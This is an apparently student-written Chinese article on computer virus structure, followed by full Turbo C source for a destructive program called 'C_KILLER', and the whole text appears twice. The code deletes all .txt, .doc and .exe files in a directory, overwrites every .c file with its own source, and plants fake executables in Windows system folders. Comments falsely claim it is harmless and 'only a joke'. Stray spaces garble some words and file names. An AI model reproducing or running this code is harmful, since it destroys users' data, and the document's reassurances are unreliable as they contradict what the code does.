在分析
病毒机理的基础上,用
C语言
写了
一个小
病毒作为实例,用TURBOC2.0实现.
[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.
一、什么是 病毒
恶意软件可能是第 一个对我们产生影响的计算机安全问题.所以 病毒在信息安全中是很重要的.
我们要对付 病毒,就要了解 病毒.
写一些 病毒是 一个很好的办法.
如果要 写 一个 病毒,先要知道它是什么.可以给 病毒 一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机 病毒简短讲座》中提到的:
“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“
其实 病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过 病毒里面用到一些正常程序一般不会用到的技术。
要编制 一个 病毒,首先要知道 病毒的运行机理。
不论是何种 病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在 病毒结构中,首要的而且唯一必需的部分是感染机制。 病毒首先必须是能够繁殖自身的代码,这是 病毒之所以成为 病毒的根本
原因。我们可以用一段类 C伪码来表示这个过程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二个主要构成部分是有效载荷触发事件. 一个 病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多. 病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效载荷就是 病毒用来骚扰你的电脑的方法,有触发机制的 病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
二、 编制 病毒的语言
最常见的编制 病毒的语言有汇编语言、VB、 C 语言等,我们可以来看一看 一个有名的 病毒论坛上认为学 写 病毒要掌握的基础:
1).Win32编程,进程,线程,内存,等等。
2).32位汇编,以指令用法为主。386汇编就比较够用了。
3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。
4).调试技术。VC,TD32,SoftIce,等等。
要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除 C
以外的其他语言,只要我们对 C的库函数有一定了解,就可以 写一些类似 病毒的东西.
三 用 C编制 病毒
以TurboC2.0为例.它的库函数可以实现很多功能.
如以下两个函数:
1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下 一个同类型的文件。
2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.
四 我 写的 C 病毒
<<计算机 病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害
可能会更恰当一些".从这个意义上说,我的 病毒是非常典型的 病毒.
下面是我 写的 病毒.
它主要由四个模块组成.
RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.
CreatEXE()将在 C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.
Breed()是C_KILLER的精华所在,它将kill所有的 c程序,并利用它们繁殖自身.
前三个是有效负载.
第四个可以说是它的感染机制.
/**********************************
IN FACT,IT"S NOT A VIRYUS AT ALL.
**********************************/
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
FILE *in,*out;
in = fopen(infile,"r");
out = fopen(outfile,"w");
while (!feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
}
/*
This function named Rubbishmaker.
*/
void MakeRubbish()
{
int i;
FILE *fp;
char *path;
char *NewName;
char *disk[7] = {"A","B"," C","D","E","F","G"};
char *addtion = "://";
/* Make some rubbish at the current catalogue */
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX" ;
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
/* make some rubbish at the root catalogue */
path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
chdir(path); /*change directory according to the "path" */
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX";
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
}
/*
This function can creat some .exe or .com documents in the sensitive place.
Don't worry,It's only a joke.It will do no harm to your computer.
*/
void CreatEXE()
{
int i;
char *path;
char *s[2] = {" C://WINDOWS//system32//loveworm.exe"," C://WINDOWS//virusssss.com"};
for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080);
copyfile( "C_KILLER. C",s[i]);
}
}
/* remove something from your computer */
void Remove()
{
int done;
int i;
struct ffblk ffblk;
char *documenttype[3] = {"*.txt","*.doc","*.exe"};
for (i = 0; i < 3; i++)
{
done = findfirst(documenttype[i],&ffblk,2);
while (!done)
{
remove(ffblk.ff_name);
done = findnext(&ffblk);
}
}
}
/* overlay the c programs */
void Breed()
{
int done;
struct ffblk ffblk;
done = findfirst("*. c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER. C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER. C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
}
void main()
{
printf("THERE IS A VIRUS BY XIAOKE./n/n");
Breed();
Remove();
CreatEXE();
printf("COULD YOU TELL ME YOUR NAME?/n/n");
printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!/n/n");
MakeRubbish();
getchar();
printf("IT'S ONLY A JOKE! THANK YOU!/n/n");
clrscr();
system("cmd");
}
[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.
一、什么是 病毒
恶意软件可能是第 一个对我们产生影响的计算机安全问题.所以 病毒在信息安全中是很重要的.
我们要对付 病毒,就要了解 病毒.
写一些 病毒是 一个很好的办法.
如果要 写 一个 病毒,先要知道它是什么.可以给 病毒 一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机 病毒简短讲座》中提到的:
“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“
其实 病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过 病毒里面用到一些正常程序一般不会用到的技术。
要编制 一个 病毒,首先要知道 病毒的运行机理。
不论是何种 病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在 病毒结构中,首要的而且唯一必需的部分是感染机制。 病毒首先必须是能够繁殖自身的代码,这是 病毒之所以成为 病毒的根本
原因。我们可以用一段类 C伪码来表示这个过程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二个主要构成部分是有效载荷触发事件. 一个 病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多. 病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效载荷就是 病毒用来骚扰你的电脑的方法,有触发机制的 病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
二、 编制 病毒的语言
最常见的编制 病毒的语言有汇编语言、VB、 C 语言等,我们可以来看一看 一个有名的 病毒论坛上认为学 写 病毒要掌握的基础:
1).Win32编程,进程,线程,内存,等等。
2).32位汇编,以指令用法为主。386汇编就比较够用了。
3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。
4).调试技术。VC,TD32,SoftIce,等等。
要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除 C
以外的其他语言,只要我们对 C的库函数有一定了解,就可以 写一些类似 病毒的东西.
三 用 C编制 病毒
以TurboC2.0为例.它的库函数可以实现很多功能.
如以下两个函数:
1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下 一个同类型的文件。
2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.
四 我 写的 C 病毒
<<计算机 病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害
可能会更恰当一些".从这个意义上说,我的 病毒是非常典型的 病毒.
下面是我 写的 病毒.
它主要由四个模块组成.
RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.
CreatEXE()将在 C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.
Breed()是C_KILLER的精华所在,它将kill所有的 c程序,并利用它们繁殖自身.
前三个是有效负载.
第四个可以说是它的感染机制.
/**********************************
IN FACT,IT"S NOT A VIRYUS AT ALL.
**********************************/
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
FILE *in,*out;
in = fopen(infile,"r");
out = fopen(outfile,"w");
while (!feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
}
/*
This function named Rubbishmaker.
*/
void MakeRubbish()
{
int i;
FILE *fp;
char *path;
char *NewName;
char *disk[7] = {"A","B"," C","D","E","F","G"};
char *addtion = "://";
/* Make some rubbish at the current catalogue */
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX" ;
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
/* make some rubbish at the root catalogue */
path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
chdir(path); /*change directory according to the "path" */
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX";
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
}
/*
This function can creat some .exe or .com documents in the sensitive place.
Don't worry,It's only a joke.It will do no harm to your computer.
*/
void CreatEXE()
{
int i;
char *path;
char *s[2] = {" C://WINDOWS//system32//loveworm.exe"," C://WINDOWS//virusssss.com"};
for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080);
copyfile( "C_KILLER. C",s[i]);
}
}
/* remove something from your computer */
void Remove()
{
int done;
int i;
struct ffblk ffblk;
char *documenttype[3] = {"*.txt","*.doc","*.exe"};
for (i = 0; i < 3; i++)
{
done = findfirst(documenttype[i],&ffblk,2);
while (!done)
{
remove(ffblk.ff_name);
done = findnext(&ffblk);
}
}
}
/* overlay the c programs */
void Breed()
{
int done;
struct ffblk ffblk;
done = findfirst("*. c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER. C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER. C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
}
void main()
{
printf("THERE IS A VIRUS BY XIAOKE./n/n");
Breed();
Remove();
CreatEXE();
printf("COULD YOU TELL ME YOUR NAME?/n/n");
printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!/n/n");
MakeRubbish();
getchar();
printf("IT'S ONLY A JOKE! THANK YOU!/n/n");
clrscr();
system("cmd");
}